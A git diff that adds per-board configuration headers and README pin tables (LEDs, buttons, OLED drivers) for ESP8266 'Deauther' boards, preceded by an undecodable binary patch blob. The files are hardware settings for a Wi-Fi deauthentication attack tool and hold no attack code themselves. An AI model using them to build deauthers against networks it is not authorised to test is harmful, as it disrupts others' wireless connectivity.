zNrb5yjd(ZFxY}B(Tg<9;mq!Z*We)RU7gVv@YO~)@)p$$9ATyK3hVr5DkX07L8GjbE z{ybWkNhoHhChkrJ;-=nl|W=sxRy6&qTu` zPXiBd&-mkDQBJ!ID?pxUaWl1Z=>Zw1ixCtWXHrx_oGmF5Ypn$kQeIKwoE_8Dc1REG zPPsfty~jCvk58MPdu^9GDHl_Q!|$T1;etN^43KB#Jx+_zDX{cF8ZSY?T%I~B!J2i#dt%POH96h(~?&LkqOp@Y|^?{-V0v(=s zoHP#4Ycvf5MXQ~J?G%U->O4LM`!QFgG`*QgkHAav7+`j4jFYDvvQEbOJ$yu&^i9_n z|5Xw#SL}yx6gfLfm3w?j+kOLTY?mHwK^?@H{irDE7y^dJifoxku26Ql^ zO!WQVP1cFmc1^Zp^VZh#K&C%}U}v&1j`YM5a7ii+Y1EURQKUyn@}o&(6zS1Y&-@62 zw$~FuAkh{4Qiz$5?Mpb|7I1lRIdR!=K_`IP9inz8xDLE@XRIl9j7dl^*`iI(7?XRH z$ph0x!@1DZGzC)PJ6RpqoI(PmxOq`CJ7%`dJmYW}9F8$`CFM3ChTOhS8V~DF!{nb5 zpM+zRTD$_oo2{vQ4i2xv;+r>c#A&~;N^3(cyL5avc-%7mD!lvJW(;%wm5vrS^L(K{a22ouw+Zi!R{p^zJGeDv~QyKrrN~h2NWa?Kl*$6GC_PQ8XwRN50 zN3ASj9mK0;S`V)w8f&DAFvb@3T7-k|rcuVkduK3WfmO_Hc_6<(SAR<(Ds~fvk##Vz z3Tnx+gD-)Qz%*WKny3noM%degaxt`^i93RL^BFP6YUogu(gLWzba+^H-6pl$0YL-$ zD(>DY`liK;sB%mtbxu`z*ogo6<}5L5w`&=vUteJpnkbe!%=7PsL} zG(7RbuWUq&e*`vF+mi5+ngfv5s_gZPe!`}Y1^bu7LdQV8=;vBk^(9beWZg=kj4cTe zD3^AZ44I8(=cF9AxvgMfRk?E0BFd~dRS#K~DTtb$98p)qu&Rd-=~;&+Tyu>RYYU9n zX~s>9rh>)4my{is%tpMrfGr-l7FzaU12??vV|)4~r)m~+Osb5Js{dSLXuIx7A5)Tj zz2}s)=3_~%iEK?D!yJ*C$2NW#mYvi%e{u#jSHPotXT9lws!7d$s zd#+1D6v>CZL{<&H65nS0G@a=7OV{=J%3 zO;ig=V=+<9Bq}>;%pocZX-p-myJ+N|EYkBMqDmr-IPETwo*AUkOd2($X9DS&NK_bj zenj$NA{_|@s=tyRk-A%kp^Y9$ACtP5t!kx81QFQS{fE%iZ%N+G8;$6U5OXzNk@mEP z!*5{)ab4)TF%qu2E^&WJeJd164NaBWaHy zctGg7G!m>jEG2Cl4({nj@L8ejtC8UReG>P@a4@uWY+aXyu5U+zp{+Cg=AJ!2d~^OT zi5tmU^#+2k30>F!opuNP=D%%Zi0(P`KkZbEMg34RgZvbFW{0tX{n?MNV%R)3!JBg| zBN}_RIc=RE2f(yl$r5P5S31C&3nb=`0+Rw^2I7jY)$Ih6Dk2$0CUGBsxd}Z>+NsZK1OF&kMKlxdATrtE_v` z1|muJ#8GZP@P4V+eM#V|l!Q}x{EvaB{%Wt5UmLim>8p1b&fwzfxN(Lq#dfAO-SEo0 zxzRB|4nW2%(Gt?a_AzY0OV~QLa7=2aIuiJ!MqA++NO^b8Y@2x@wEEFtGZAZBAw4$d zRQE3>>?S%%RN1?d`b%}S%H@hHIXg&;3<1Lth-b#oQm?P`5eVv|pjEr>6@%Ix!=@YB zUzgOAl>?pnT}uoc4>etQTc5cCC;`!-bBIwkctefTf>EZ0R^7=d+$6GUBHQ>ksWouL zr;Tb|k^qev-^?hGe%W_dJgMGQz4?DZV6f!fD;d!_?<;*$`*&AUC$l{tV-E!a(qBvY zz1XBy*v~-)82uc>`wVEtu=03Y+Uitl-v81R?=;PQ*xh~2P@?Ac*2gdKbzd@QG^V$U zlg4g}cPBmbO8ktZ7xu=NI%A_8v60rlA}iZy<$~N9$zy0vT)Zzf$`c#u?pXFreZ7f+ z4GeHiT>P%ssE*jk)|bw`x8s$x5no8vkcqA1{l!Q>;@cV<<%^BbdXay*oZFuV!M}To~Z1yhGvWPMB#*OI~(f zsvZv#yQ_Sy@r*B?7{8RBZ#rw{-`siy-nM&o@R?Md)ArLH`0cpoRX(I?{?k{nk0VJR z@U6VOZAI;i*XUOjkPWYL3C_rl~P-rNwBNjA(Wtmp6bfoOd`Ff|}5P(MA&`#JeS| zYe%hmK<9uSpvj2P@Kd8<@#SmD%+Nz4v{`pQIii)al!boxEIRpU8SC$*QXwb8d~p6j zz!$^NpGhPEcDiD!O1U0fl00Ql8IKp2Bn?R3=jr?UE|;lnWtuZ(%9;AlHcRuDor}>L z&rLXKKR52M^~AU%Y~SCMCz-sd%n%EC(12tefS%k6CiQYaUJV=@r-CxEz^d2@7$33# zuw)@Rp788rY&TfB4ju=Z&Po^F+8ndXKhTn{Ja|*t@`%!)jO_Df8BTESLxToW^zYYu z4&5+R>3w{1Vw2C6%xSn-NH)0GR{kz7A#qEq>#jGKLALi!l!N$>B{I7bNmTBqe>i)O zg1gh3v6k0*j2(F;>Yn|!h695@FDs^V)D$lU_cR^Iyf&-C;{ThegKO=UPlZRbF zr)wPctTeE|2z>z#`&jpL1}LYRHZ*oieJypSlP@of$R5j@&bvW}vr_SMl4CrNol=~y zcU17o8i`pibr`iE6RUa`8eP_! zZ8kr>F(3#wi`VJSLEW5czYd^p2Gw5LR#JKg_E}_YADwV!LXvc4t`{}^@%92}S zwZ^@x!JgoN=_|O$QgvyOaJuXzI?j>W9M$~`a;%;7ozkfkVMlZA<#uwtneBd@82(7> z#posDhe6mA5QKFGF@e6WCwN(CfWx}~rY-pcI0T{5@WGu0_Zpt1l`I|AkH-0v_{#W2 zMn*CV@7qqZ@XlfTvEsWwzW4JJ8F(y+?uQucp?JfUV0RNKyB>6!=A->o&Od&a!kkgk zF<90m9aO2!FrJu|H!qky$f{BZ(p`G_=8e17J$c8#z*Wqy_`^G_tVFk2bHY8~vj53r zMz-%%)}CJ}O zp>s?WZ*U~opppG~f&*IES!11nTP1(hbj;_3xD-N4H(~=gZbd*YiX{Aew?La zQP4d;wzBo1?lnU*R;ojz<@ zYr};%ejK!Z9CU1Zkx>l$91dC!!zaLyun)*kRuQ~xq91{A-(-3E5!@zx1g-gAgD(W8l3iHrh0EFLTS?hR-%v{ruhS{wj-O)B0J?3)&FjGuqPnwaaTm~U8q z4szJAPT#iW%;y7W`4Ej5w+F4;QHCPsAHzP|g4S*Dd6)S#?DGSS6XOd(Ya1dIGslLL zYzkU8!Dkus@vu*8(7FLW9_Db^XTVa2f~^~B+(!GU**G(Y{^tovz{$+-ykCGV{b zot-GZM6*wRr?!&Lz3%eM_;n_~OMlD1#jh>-J^EWNi&f~_IV3ylz9AW-ad_B|RrDc! zB4OPL;c1K*chEcpp_Av|qVKl<*SFT+$zI8wq0@N6qE2~qBI0TdUz=6Dm4>><@BH_9 zwThif4xp^dE(I6R;<{7L50~#e7-3qVl=DTQlOyHlk=K#~#m(XRU!}(ydvt#4T~C}G71Y2-8Yj^iA61Mxk_IY)|V^-aD!C8@i=5~>*i;PH`okua+CAcBZ{xVCm1?ZTqGo0 z_6@EnY9b<=1z_8ibbLppk3^lMH(ngFUL11#?iD5_+$5Pv)WI|jVS`Rb zHd`*(PV)8!nNB)#tlalurmcvEoVQfQnyM|%K*D?zHR%|uTPYS4m8exG#q&j7MGVAJ zANo$FowxXk$SxhzffJJ}hThxp^4;myF9(jM%ilO-2XcZGALSI5?)VI612LFqyh?5G z^it2RrLTt6g_w9+s9{Nnjyaj~;r>RP=A>;5006MFb=Y`XaYUwIlzqEYHa)m(X>iRi zhSqNjQBbBBq?5>0rdST^&D3?ujbaj|*mhRjp@S7@IDa3aa8c1)0EWVI4%?Ec3$>p_ zg0p1bqaZf_q13k(6uiXzwU{No4P%wPgf~$cbiVu z$X%NF!T*)ng2hQR+3iOtahwdNaHo6G=D+#VYk#kf#RihLXEI<2H)K>$V zk$q>u&)Kl)%s>ss;0prl=KxbczngL+0n0gi$U1w-@k%-KOqfnw`Uupqq>b|Z;VGBtBN zec5}**}xdV&)fXkS<%Xs!6;uz!F9+8F5Oc7O~R~#`$>tsWhElk4TsClulcNbP+M${ zxw+mfoLqJy7MrMdel&G&ZN?DGyg-{m0n3deG6OSM&W*cqZ{kIOh{C^g6p@)9!|#Im zY9d5)te;?<<43J!%UFXBt1oX}|1G|YZyZHzWeOo$YkvnSeSSv@=O|-<$R~8!^8SA7 z2wTD`p?Nu~Azd=o44MJcWA5snAVH2L_@^jO(Hu(N#}W+wLf+kyY7WUU8fF`y0vYY_ zdzsfMc`h%!UlUCpiYrNpBjoM;B4Aof!Ras>!wu8a>~?)4rp=-oobJO?E|VJxK|Bv)TMqg05biH`v^fn!`23E?lp)}s*dJ9^!yOwh0)%GT9;-=Px2`iZg%`4Tm9$oFqw>+i9ZHRK0GR#x7 zG)eo@h3)oIYeyvW>fHHOzZmB@FeD~#xJSUgLj7XJgY?c#XExJw8yY4@Z?F7Us0O8W zo}#PHw?9Z!eG(;D-dM?aXP96Oi4u0G0O5zh|>@ElJjo~;`+v1|SH{Z5H=-S`1 zp1S|iKCp$Sj>p>j0#`G%Q@NV5RmEG3-GgMa@oN~h&CupuC)H(r16RmJy~}cSK=4`a z=T{b|?$&;qc|22*x|{hllm9%B51pPb(B>F1i$7ncyn-~R+1eqo_m#eH0>~N}z$h7d zR;>`A?>pU2SaCpHk03bu0a6D~sa;F~jKjcHepT^Id&3n{V1I;`K{4N`{Dzbo`@}0a z$~0iPy0Tale3)56B~RTQNz0g%LW`iGEwj1 zukx87!i+ExW>6xCp9f&Q7qMyD?sH_8{9Z?yBJXp&xVntw>VfbJ`nk#}{q|@-tvr68 zB6Sb*DG=@hRKQKqB2}e?ka@e688MA>vHH9!o;o+O4J?hx zP)*h57ZTFt=e@lF?9P+9?OkPPJ(OoE>f+5zppO#Q;#yAw@!3J>TG^f3j>ORe*ZG!+*-KX)ne!)VnqXNlJkd?&&*Ogf;$<`0FTy3(t1YZkijXW;4r|ypbFf*#|U?zta z0Kxl*nP{&-^HB541GT9KwgG3OsGi`v;j7!Mk~%F(P}KGW)mjseg(s z&fxv0b?7@lKl1=LJS!#5*0oJ(&(`}IMT_0WLvZ>|Fp6zl&fVUH3Fsl1-&tq8QG@8zxx&y;%)S;IOc zIBH5$CZ}MHKw~A32UO)GhTE@1MfBW$Gt+QYn#!8>*qCKIdD24EMhfa>U9?pVx`gy{tiCHA!uqj&>=v zQ%P(A1oM_ab{5CmFjcmo$jSD!q!C?#q_rVzCHp5A+hSMCOiD^4q+fWQv%C=^-L-HD zDUD&KnR=1ZFN4#7lWaZ)_ldQ^X~8Ff-)>G8u{&Od-PqA&nP~va7|U!Pn&*})8S3o& z7#v87cxHNmqCnBZkk&X|>ew>{StYsBgPE1P&kA!1vLXX|;-dKNNw_G6djZ8j!JT5e z>pBE6$t#F|d07w#e1fRiDu@?w;oC!d(F*kehhdT06uZin&iC%87+gsPlsqRQJI3~jY1f)v;eKC4NK$eA+9 z*2s_yMM+mMErRPvD>MSki9O6tn!=o>$+4LQ#R4Clu7OttZCW$y$NqSd?)_cXqjJs) z^OQyvv3~Tw<;$i`f!Na6BVj0H4$*v}jn@6htu8-xG;+lFo|JzB6C=|_1HtWav)cq@ zOI0pHfLieD?cg>{DpWDFYeC@L(cFx{y)*&38qV+y_s1&>fc^HcAQpm_pdVWn!N}lC zkj@D&or5|F;1JM%Azqf32ZaBzPW)p3NL(4o0or|NvWWZ5_v02KZo;(x8Mplk;(qb{ zxUPRk*8n)CiCwSRqa<$oH{j*-N>8BUf}p37Ju_V?LDC zy5~oIQbSSxw&-{MK2*xrSl(z)gvnw+MprpB>ctU>LNkN|d}>3BAfpxwkmVx|cvRXK zs`e}G5$AF80S~l($q+1u>j|J#)N|`@i4x)>P`$I4!vl%hoH1k z`rcgoo99AgBp@xaZ4>nlVe!&h!aNH+(3^!VY0wjJM)?UWhQ*v5Mae?@HT;w>%`A=X;flUR}brk(zlw|m#})N#Ds z)qgcZGc~40|Fp5ePMVBhc4IO$^NW>JNVUGS*d<;WV!<-^S+0WPwM^twcN-RGMm<`U z84afS@_z>xXVOuYkRc^MJCK2uB)B*I{NnB@q_h|eVN8Z{l{GJ$th5%`A!6w3yCOP# zeaFGORqJQ`an$0|LYGuE6?$928B-bXZ1+;0jZ>&zr+Jph>w%(){3@$56Im=}#cN{k z7p_MGC^c+}aB(VZJJU4*<z@BS7XNY$e^#V{_B` zv=OA5fVzTNM_sYzFoRcbGLkuzPxZF?2IlhB`jysAa$Yv%wdrlO&=txnBZAD(x6BQQ z4&Hl%N2Vd_Im?vY=G)1ajJiLfv;w-~T>#u0()cC~XP;Yz$$Swvh`}$7EJalPswf_3|zQuL`lWE@>f6ghc3;(HWf z8G$C)BKzmc-y@nvk=nt=&t&EoQ$jY3McHI_U$aH8i~|8S>x;Z}6){Oa;HTfjk0p~8 z>xTuIQP0jBUOy}duOGDhhCoYNX#Eh%u(gcIizA!$uhAuh_V@bk7_wcDPqRb*G(O+J zcc5cw@k;Bu4@NHlqS3r*k?TI7A7=rDH^s-nS(alw6d9vEWf5K}piBfMv!}&o|5if_ zU)7#^pDH67kk-&G%>WH3x1q>TOjR^r;CUC$nZ)yX8!Q%=m>Kxtf&l|3U*@t{U3-!< zi>`^{x8jVq?<>lcR~s0?+3foi7T}8s7%pKyA}Y7!KoFcGc*r7P`@R%C&^FrzlwT82 zehJCGPshcszEYb4e>4D+JF~<>rIS@PQ%5S1hwgy z!i0mBXdbfPFTewZKELHZr0XZC;B{Rz@ek=s6yn(fTG5_QziF9fjUH&a06h_c zbp$RAu5$W33eUJSxDKu1#rJV(mhoZ=E_wa1@3N%DN#qcU+Jz3du2X(MyAvI!@_3!i{Edm*0qZ)ef zrzi{m59++o1s8(x79oE$K|&cjariwU@XDF% zCq)of0HO7*})1l+nT--tSa`AbIzYj+VIxW3A+jwT@Zl{u% zChGe=I&rQ}@RQn<4Mn+@8L@Hv<0MUA!vrFTSr0Tmg5|D}luWsWcbt@q|K|7YQ7KS% z4X$c6anXVI3cf^YRuUISC-ao{=Gj;y^nir8q1dvhfmH5FGRmm21#I(jZnPzf&u4IG z>vKyMUD{5kITL>|;RN9c$&S&aiQX~Z<0|#w`NMO*(fjp0< z9Q@{+AddzH1!~(d-AvESwe~^j0mn>78ls~dtWL+2dhFMrcrxR;7~z<%z(@7?bHTUR z)`r+fGL;q20(nssvr?apDu_spQxznGxsg%YH7ep#kb!9&?zus%wFmL72JrqIR*QY7 z!r0Wcqm4JD)qjSULm;6l+1vyb<|5!Xi8adGkU6X&f(blMHmrI6c0gSNlxT7qT5Vki4g)S-^LJ}-8 zyDPu@_nH#ET5H4OBR-Bd25tLkTrpFQyJ92+78Ia&#M^jaVImwEx?KOd)*YK%+>aW53P`FS}mjk#*Qd!NpUxCfCpu(LhL_x7kLLqAR`GSlRDEsG7G zAC&zr%I!JqN1)Gq3hPIP{-K@FKf0EqZcG*OMHVNJax#VlQniG(r8=C8q~V>XfFl|H zo6NAxKgeHUTeE{aNmjrbWI9fRO&PgQ!IMRPq9N%B`TlbhOaBoiwf9K>ARP!jdq68T zI^?c^ZZ@k8xfjChBpVZQL(m$-Muyx@n5$$*!5yWHdJv{8sf)UEU`uk?E&l(_KZ;e- zvWD}Q-E#hLQGevGqA{p@61M)RE9{nC)J-dS+n*XrXL3H`f0p(x)_~d|AJAtE8$aSU zuyG^qcy@Hi?II+OjSaaWiXJ`eM)_k|eaIj0r7pP)KLWzPsQ#5CB?PnNzVJmdpufNWvq(w0L2le|KJ-AYh!(@hwje__p}j5i z_gUnyi`g)J*!h3H8>u(C?+^Zt0G^SM$Hu}Nb3#Alq1#oMizZ}Fu)s^9(Q%;!y#4ls zgGGXF%`!}nvjpT~6_*RSBeIea~gd&O0k zKP!mSaqY)N-J0hF@o`+U=h&TdW(466$*|ud7&Cp0 zKF=9MlMNX=uF zs^(|cmMy}F2R^r~oSzL+@H1*))fDxw^Hh{A<((DqpA#|&OJ?OxxG5X{Pse-r+h`tV~<-WF2wtOT2@uD zd|`P-*^0XA3eUpoGEaGZnWti5#q!!5+kN*fv`w%~uw;ycFM8aA=)-|!?wSdUYHP`( zk1kqS_Gs-2PsO88)OhMvlr16u&&ohc^k}$1k1mD1a=AnRIDh={+DGfkmj4v=eDu*( zH5E(n0m6Up*YP5^f)}@Yc+uqx-G{^IeH+40;iBRH+clh~6LGKnAL0*(&#C9dmAJ$w z(57(h#B~Cf27VV-@}dQIGoFXzx8eB^F3r!72IVWlbpg-A;k~PQG42<<*oQh4tpesc z^4N*Eop{#Vmd^o{DFuFh#GQh>7x@h5LGOP-coFY8P3j!i>EoXC)7}?KXGjh_05qe&}YB?U4*HZJz^nH(&hh2|XRw5;R$XXeSfB*gW!`AVl zpW;qEX#B~1D4Cr0wx30aFlEXVIXdog`ti$=W;s881)gBMndD8LCEF84(}WG?MWl8q zM4L-(1l@*|S3E&NCPp8nwX9ga{L$JaE0#~75B&I*BX&raKZ;j)>da}hVk?%E^N(TB zc-&ow*3Q>1az_$aPR8iSS3kZSBo7&Rt|*6z>g6y|?S$>)g2$J@>a=4OUyGhXBcxZ> zJXS78eRS#aD!vi}6mkiLJzBS@_R;c+B`|i65~RzepkEn$qWo7=`zUO?QnSkRYuBQl x4`46Hi|Ykk?cwV~-0Af;uHG87A*^#b^rsVOi)PyI{)-ozu(zgD$vovp{~xZJW8MG& literal 0 HcmV?d00001 diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h new file mode 100755 index 0000000..d3af36d --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h @@ -0,0 +1,29 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 12 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md new file mode 100755 index 0000000..61ed10b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_D-duino_with_LED_Ring_Shield/README.md @@ -0,0 +1,17 @@ +# DSTIKE D-duino-b-v5 with the LED Ring Shield + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 12 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |Disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h new file mode 100755 index 0000000..d1f24e7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/A_config.h @@ -0,0 +1,28 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SH1106Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 10 +#define BUTTON_DOWN 9 +#define BUTTON_A 14 +#define BUTTON_B 12 + +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// ========================================================= // + +#endif diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md new file mode 100755 index 0000000..fc60a67 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_Boy/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther Boy + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | No | +| Button Up |GPIO 10 | +| Button Down | GPIO 9 | +| Button A | GPIO 14 | +| Button B |GPIO 12 | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h new file mode 100755 index 0000000..4f0a776 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/A_config.h @@ -0,0 +1,82 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include +#include +#include "SH1106Wire.h" +#include "SSD1306Wire.h" +#include "SH1106Spi.h" +#include "SSD1306Spi.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of LED you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +//#define DIGITAL_LED +//#define RGB_LED +#define NEOPIXEL_LED + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust following settings for your type of LED + you can ignore the rest of the #define's + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ + +// === Settings for Digital LED and RGB LED === // +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// === Settings for RGB LED and Neopixel LED === // +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +// === Settings for Neopixel LED === // +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 +// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) +// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) +// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) +// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) +// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY false // default display setting + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Adjust the pins to match your setup + Comment out the buttons you don't use. + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +//#define BUTTON_LEFT 12 +//#define BUTTON_RIGHT 13 +//#define BUTTON_B 10 + +/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + Uncomment the type of display you're using + Only one of them can be defined at a time! + = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = + 0x3c = I2C address + SDA = GPIO 5 (D1) + SCL/SCK = GPIO 4 (D2) */ +//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED + +/* RST = GPIO 5 (D1) + DC = GPIO 4 (D2) + CS = GPIO 15 (D8) or GND + SCK/SCL = GPIO 14 (D5) + SDA/MOSI = GPIO 13 (D7) */ +//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI + +//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md new file mode 100755 index 0000000..9c3abcf --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_Deauther_v3.5_and_NodeMCU-07_v2/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2 + +| | | +| - | - | +| LED Type | Neopixel (WS2812b) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | NO | +| Display Driver | SH1106 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h new file mode 100755 index 0000000..52ff85b --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/A_config.h @@ -0,0 +1,27 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define NEOPIXEL_LED + +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes + +#define LED_NEOPIXEL_NUM 1 +#define LED_NEOPIXEL_PIN 15 +#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800 + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md new file mode 100755 index 0000000..48c7813 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1.5S/README.md @@ -0,0 +1,17 @@ +# DSTIKE Deauther OLED v1.5S + +| | | +| - | - | +| LED Type | Neopixel (WS2812) | +| LED Pin | GPIO 15 | +| Number of LEDs | 1 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h new file mode 100755 index 0000000..5f48388 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/A_config.h @@ -0,0 +1,25 @@ +#ifndef config_h +#define config_h + +// ===== DISPLAY LIBRARY ===== // +#include "SSD1306Wire.h" +// =========================== // + +// ===================== LED CONFIG ==================== // +#define DIGITAL_LED +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED + +// ===================== DISPLAY CONFIG ==================== // +#define USE_DISPLAY true // default display setting + +#define BUTTON_UP 12 +#define BUTTON_DOWN 13 +#define BUTTON_A 14 + +#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED +// ========================================================= // + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md new file mode 100755 index 0000000..13217b6 --- /dev/null +++ b/enp8266/esp8266_deauther-master/configs/DSTIKE_OLED_v1_v1.5/README.md @@ -0,0 +1,18 @@ +# DSTIKE Deauther OLED v1 - v1.5 + +| | | +| - | - | +| LED Type | Digital | +| LED R | GPIO 16 | +| LED G | disabled | +| LED B | GPIO 2 | +| Highlight LED | disabled | +| Display and buttons enabled | YES | +| Display Driver | SSD1306 | +| Display SDA | GPIO 5 (D1) | +| Display SCL | GPIO 4 (D2) | +| Flip Display | NO | +| Button Up |GPIO 12 | +| Button Down | GPIO 13 | +| Button A | GPIO 14 | +| Button B |disabled | 